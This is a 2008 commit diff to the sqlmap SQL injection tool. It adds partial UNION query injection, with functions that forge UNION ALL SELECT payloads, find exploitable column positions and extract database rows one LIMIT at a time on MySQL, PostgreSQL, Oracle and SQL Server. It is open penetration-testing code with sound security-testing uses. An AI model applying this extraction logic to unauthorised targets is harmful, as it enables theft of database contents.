Major enhancement to support Partial UNION query SQL injection technique too.

Minor code cleanup.
This commit is contained in:
Bernardo Damele 2008-12-10 17:23:07 +00:00
parent 9dbad512f1
commit 072eb7154c
6 changed files with 303 additions and 139 deletions

View File

@ -4,11 +4,13 @@ sqlmap (0.6.3-1) stable; urgency=low
(http://portswigger.net/suite/) requests log file path or WebScarab (http://portswigger.net/suite/) requests log file path or WebScarab
proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
'conversations/' folder path by providing option -l <filepath>; 'conversations/' folder path by providing option -l <filepath>;
* Major enhancement to support Partial UNION query SQL injection
technique too;
* Major enhancement to support stacked queries (multiple staatements) * Major enhancement to support stacked queries (multiple staatements)
when the web application supports them which is useful for time based when the web application supports them which is useful for time based
blind sql injection test and will be used someday also by takeover blind sql injection test and will be used someday also by takeover
functionality; functionality;
* Minor enhancement to test if the injectable parameter is affected by * Major enhancement to test if the injectable parameter is affected by
a time based blind SQL injection technique by providing option a time based blind SQL injection technique by providing option
--time-test; --time-test;
* Minor enhancement to fingerprint the web server operating system and * Minor enhancement to fingerprint the web server operating system and
@ -20,6 +22,8 @@ sqlmap (0.6.3-1) stable; urgency=low
to 10 seconds and must be 3 or higher; to 10 seconds and must be 3 or higher;
* Minor enhancement to be able to specify the number of seconds to wait * Minor enhancement to be able to specify the number of seconds to wait
between each HTTP request by providing option --delay #; between each HTTP request by providing option --delay #;
* Minor enhancement to be able to get the injection payload --prefix and
--postfix from user;
* Minor enhancement to be able to enumerate table columns and dump table * Minor enhancement to be able to enumerate table columns and dump table
entries, also when the database name is not provided, by using the entries, also when the database name is not provided, by using the
current database on MySQL and Microsoft SQL Server, the 'public' current database on MySQL and Microsoft SQL Server, the 'public'

View File

@ -53,12 +53,11 @@ class Agent:
injection statement to request injection statement to request
""" """
negValue = ""
retValue = "" retValue = ""
if negative == True or conf.paramNegative == True: if negative == True or conf.paramNegative == True:
negValue = "-" negValue = "-"
else:
negValue = ""
# After identifing the injectable parameter # After identifing the injectable parameter
if kb.injPlace == "User-Agent": if kb.injPlace == "User-Agent":
@ -231,6 +230,22 @@ class Agent:
def getFields(self, query): def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
@ -395,5 +410,55 @@ class Agent:
return inbandQuery return inbandQuery
def limitQuery(self, num, query, fieldsList=None):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param fieldsList: list of fields within the query
@type fieldsList: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == "Oracle":
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedQuery, re.I):
untilOrderChar = limitedQuery.index(" ORDER BY ")
limitedQuery = limitedQuery[:untilOrderChar]
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
limitedQuery = "%s WHERE %s " % (limitedQuery, fieldsList[0])
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (fieldsList[0], fromFrom)
return limitedQuery
# SQL agent # SQL agent
agent = Agent() agent = Agent()

View File

@ -500,6 +500,7 @@ def cleanQuery(query):
upperQuery = upperQuery.replace(" order by ", " ORDER BY ") upperQuery = upperQuery.replace(" order by ", " ORDER BY ")
upperQuery = upperQuery.replace(" group by ", " GROUP BY ") upperQuery = upperQuery.replace(" group by ", " GROUP BY ")
upperQuery = upperQuery.replace(" union all ", " UNION ALL ") upperQuery = upperQuery.replace(" union all ", " UNION ALL ")
upperQuery = upperQuery.replace(" rownum ", " ROWNUM ")
return upperQuery return upperQuery
@ -624,3 +625,53 @@ def getRange(count, dump=False, plusOne=False):
indexRange = range(limitStart - 1, limitStop) indexRange = range(limitStart - 1, limitStop)
return indexRange return indexRange
def parseUnionPage(output, expression, partial=False, condition=None):
data = []
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if condition == None:
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data

View File

@ -31,6 +31,7 @@ from lib.core.agent import agent
from lib.core.common import cleanQuery from lib.core.common import cleanQuery
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import expandAsteriskForColumns from lib.core.common import expandAsteriskForColumns
from lib.core.common import parseUnionPage
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import replaceNewlineTabs from lib.core.common import replaceNewlineTabs
from lib.core.data import conf from lib.core.data import conf
@ -166,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"): if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = "n" test = "n"
else: else:
message = "does the SQL query that you provide might " message = "can the SQL query provided return "
message += "return multiple entries? [Y/n] " message += "multiple entries? [Y/n] "
test = readInput(message, default="Y") test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
@ -185,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
if not count or not count.isdigit(): if not count or not count.isdigit():
count = __goInference(payload, countedExpression) count = __goInference(payload, countedExpression)
if count.isdigit() and int(count) > 0: if count and count.isdigit() and int(count) > 0:
count = int(count) count = int(count)
message = "the SQL query that you provide can " message = "the SQL query provided can return "
message += "return up to %d entries. How many " % count message += "up to %d entries. How many " % count
message += "entries do you want to retrieve?\n" message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n" message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit\nChoice: " message += "[q] Quit\nChoice: "
@ -228,48 +229,21 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
return None return None
elif ( not count or int(count) == 0 ): elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query that you provided does " warnMsg = "the SQL query provided does not "
warnMsg += "not return any output" warnMsg += "return any output"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ): elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query that you provided does " warnMsg = "the SQL query provided does not "
warnMsg += "not return any output" warnMsg += "return any output"
logger.warn(warnMsg) logger.warn(warnMsg)
return None return None
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
limitedExpr = expression limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
limitStr = queries[kb.dbms].limit % (num, 1)
limitedExpr += " %s" % limitStr
elif kb.dbms == "Oracle":
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
limitedExpr = limitedExpr % fromFrom
limitedExpr += "=%d" % (num + 1)
elif kb.dbms == "Microsoft SQL Server":
if re.search(" ORDER BY ", limitedExpr, re.I):
untilOrderChar = limitedExpr.index(" ORDER BY ")
limitedExpr = limitedExpr[:untilOrderChar]
limitStr = queries[kb.dbms].limit
fromIndex = limitedExpr.index(" FROM ")
untilFrom = limitedExpr[:fromIndex]
fromFrom = limitedExpr[fromIndex+1:]
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
limitedExpr += "NOT IN (%s" % (limitStr % num)
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected) output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
outputs.append(output) outputs.append(output)
@ -282,6 +256,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected) outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
returnValue = ", ".join([output for output in outputs]) returnValue = ", ".join([output for output in outputs])
else: else:
returnValue = __goInference(payload, expression) returnValue = __goInference(payload, expression)
@ -294,7 +269,6 @@ def __goInband(expression, expected=None):
injection vulnerability on the affected parameter. injection vulnerability on the affected parameter.
""" """
counter = None
output = None output = None
partial = False partial = False
data = [] data = []
@ -311,49 +285,10 @@ def __goInband(expression, expected=None):
partial = True partial = True
if not output: if not output:
output = unionUse(expression) output = unionUse(expression, resetCounter=True)
fields = expression.split(",")
counter = len(fields)
if output: if output:
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) data = parseUnionPage(output, expression, partial, condition)
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
if outCond1 or outCond2:
if outCond1:
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
elif outCond2:
regExpr = '__START__(.*?)__STOP__'
output = re.findall(regExpr, output, re.S)
if partial or not condition:
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
output = set(output)
for entry in output:
info = []
if "__DEL__" in entry:
entry = entry.split("__DEL__")
else:
entry = entry.split(temp.delimiter)
if len(entry) == 1:
data.append(entry[0])
else:
for value in entry:
info.append(value)
data.append(info)
else:
data = output
if len(data) == 1 and isinstance(data[0], str):
data = data[0]
return data return data
@ -373,6 +308,14 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
if inband and conf.unionUse and kb.dbms: if inband and conf.unionUse and kb.dbms:
value = __goInband(expression, expected) value = __goInband(expression, expected)
if not value:
warnMsg = "for some reasons it was not possible to retrieve "
warnMsg += "the query output through inband SQL injection "
warnMsg += "technique, sqlmap is going blind"
logger.warn(warnMsg)
conf.paramNegative = False
if blind and not value: if blind and not value:
value = __goInferenceProxy(expression, fromUser, expected) value = __goInferenceProxy(expression, fromUser, expected)

View File

@ -24,13 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
import time import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import parseUnionPage
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion from lib.core.session import setUnion
@ -38,17 +42,23 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume
def __unionPosition(count, expression, negative=False): reqCount = 0
def __unionPosition(expression, negative=False):
global reqCount
if negative: if negative:
negLogMsg = "partial" negLogMsg = "partial"
else: else:
negLogMsg = "full" negLogMsg = "full"
logMsg = "confirming %s inband sql injection on parameter " % negLogMsg infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
logMsg += "'%s'" % kb.injParameter infoMsg += "'%s'" % kb.injParameter
logger.info(logMsg) logger.info(infoMsg)
# For each column of the table (# of NULL) perform a request using # For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is # the UNION ALL SELECT statement to test it the target url is
@ -72,7 +82,7 @@ def __unionPosition(count, expression, negative=False):
# Perform the request # Perform the request
resultPage = Request.queryPage(payload, content=True) resultPage = Request.queryPage(payload, content=True)
count += 1 reqCount += 1
# We have to assure that the randQuery value is not within the # We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there # HTML code of the result page because, for instance, it is there
@ -86,9 +96,9 @@ def __unionPosition(count, expression, negative=False):
break break
if isinstance(kb.unionPosition, int): if isinstance(kb.unionPosition, int):
logMsg = "the target url is affected by an exploitable " infoMsg = "the target url is affected by an exploitable "
logMsg += "%s inband sql injection vulnerability" % negLogMsg infoMsg += "%s inband sql injection vulnerability" % negLogMsg
logger.info(logMsg) logger.info(infoMsg)
else: else:
warnMsg = "the target url is not affected by an exploitable " warnMsg = "the target url is not affected by an exploitable "
warnMsg += "%s inband sql injection vulnerability" % negLogMsg warnMsg += "%s inband sql injection vulnerability" % negLogMsg
@ -99,19 +109,26 @@ def __unionPosition(count, expression, negative=False):
logger.warn(warnMsg) logger.warn(warnMsg)
return count
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
def unionUse(expression):
""" """
This function tests for an inband SQL injection on the target This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url inband SQL injection on the affected url
""" """
count = 0 count = None
origExpr = expression origExpr = expression
start = time.time() start = time.time()
startLimit = 0
stopLimit = None
test = True
value = ""
global reqCount
if resetCounter == True:
reqCount = 0
if not kb.unionCount: if not kb.unionCount:
unionTest() unionTest()
@ -120,18 +137,19 @@ def unionUse(expression):
return return
# Prepare expression with delimiters # Prepare expression with delimiters
expression = agent.concatQuery(expression) if unescape:
expression = unescaper.unescape(expression) expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column # Confirm the inband SQL injection and get the exact column
# position only once # position only once
if not isinstance(kb.unionPosition, int): if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression) __unionPosition(expression)
# Assure that the above function found the exploitable full inband # Assure that the above function found the exploitable full inband
# SQL injection position # SQL injection position
if not isinstance(kb.unionPosition, int): if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression, True) __unionPosition(expression, True)
# Assure that the above function found the exploitable partial # Assure that the above function found the exploitable partial
# inband SQL injection position # inband SQL injection position
@ -140,34 +158,134 @@ def unionUse(expression):
else: else:
conf.paramNegative = True conf.paramNegative = True
# TODO: if conf.paramNegative == True and query can returns multiple if conf.paramNegative == True and direct == False:
# entries, get once per time in a for cycle, see lib/request/inject.py _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
# like for --sql-query and --sql-shell
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
# Forge the inband SQL injection request if len(expressionFieldsList) > 1:
query = agent.forgeInbandQuery(expression) infoMsg = "the SQL query provided has more than a field. "
payload = agent.payload(newValue=query) infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are in front of a partial inband sql injection"
logger.info(infoMsg)
logMsg = "query: %s" % query # We have to check if the SQL query might return multiple entries
logger.info(logMsg) # and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if " FROM " in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
# Perform the request if limitRegExp:
resultPage = Request.queryPage(payload, content=True) if kb.dbms in ( "MySQL", "PostgreSQL" ):
count += 1 limitGroupStart = queries[kb.dbms].limitgroupstart
limitGroupStop = queries[kb.dbms].limitgroupstop
if temp.start not in resultPage or temp.stop not in resultPage: if limitGroupStart.isdigit():
return startLimit = int(limitRegExp.group(int(limitGroupStart)))
duration = int(time.time() - start) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
logMsg = "performed %d queries in %d seconds" % (count, duration) elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
logger.info(logMsg) limitCond = False
else:
limitCond = True
# Parse the returned page to get the exact inband # I assume that only queries NOT containing a "LIMIT #, 1"
# sql injection output # (or similar depending on the back-end DBMS) can return
startPosition = resultPage.index(temp.start) # multiple entries
endPosition = resultPage.rindex(temp.stop) + len(temp.stop) if limitCond:
value = str(resultPage[startPosition:endPosition]) if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if kb.dbms in ( "MySQL", "PostgreSQL" ):
stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
expression = expression[:untilLimitChar]
if not stopLimit or stopLimit <= 1:
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
test = False
else:
test = True
if test == True:
# Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
count = resume(countedExpression, None)
if not stopLimit:
if not count or not count.isdigit():
output = unionUse(countedExpression, direct=True)
if output:
count = parseUnionPage(output, countedExpression)
if count and count.isdigit() and int(count) > 0:
stopLimit = int(count)
infoMsg = "the SQL query provided returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif ( not count or int(count) == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return
for num in xrange(startLimit, stopLimit):
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
output = unionUse(limitedExpr, direct=True, unescape=False)
if output:
value += output
return value
value = unionUse(expression, direct=True, unescape=False)
else:
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
infoMsg = "query: %s" % query
logger.info(infoMsg)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
reqCount += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
duration = int(time.time() - start)
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
logger.info(infoMsg)
return value return value

View File

@ -909,17 +909,6 @@ class Enumeration:
index += 1 index += 1
if not self.dumpedTable: if not self.dumpedTable:
if conf.unionUse:
warnMsg = "unable to retrieve the "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
warnMsg += " through UNION query SQL injection, "
warnMsg += "probably because it has no entries, going "
warnMsg += "blind to confirm"
logger.warn(warnMsg)
infoMsg = "fetching number of " infoMsg = "fetching number of "
if conf.col: if conf.col:
infoMsg += "columns '%s' " % colString infoMsg += "columns '%s' " % colString
@ -1041,12 +1030,6 @@ class Enumeration:
infoMsg = "fetching SQL SELECT query output: '%s'" % query infoMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(infoMsg) logger.info(infoMsg)
if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1)
if " from " in query:
query = query.replace(" from ", " FROM ")
output = inject.getValue(query, fromUser=True) output = inject.getValue(query, fromUser=True)
if output == "Quit": if output == "Quit":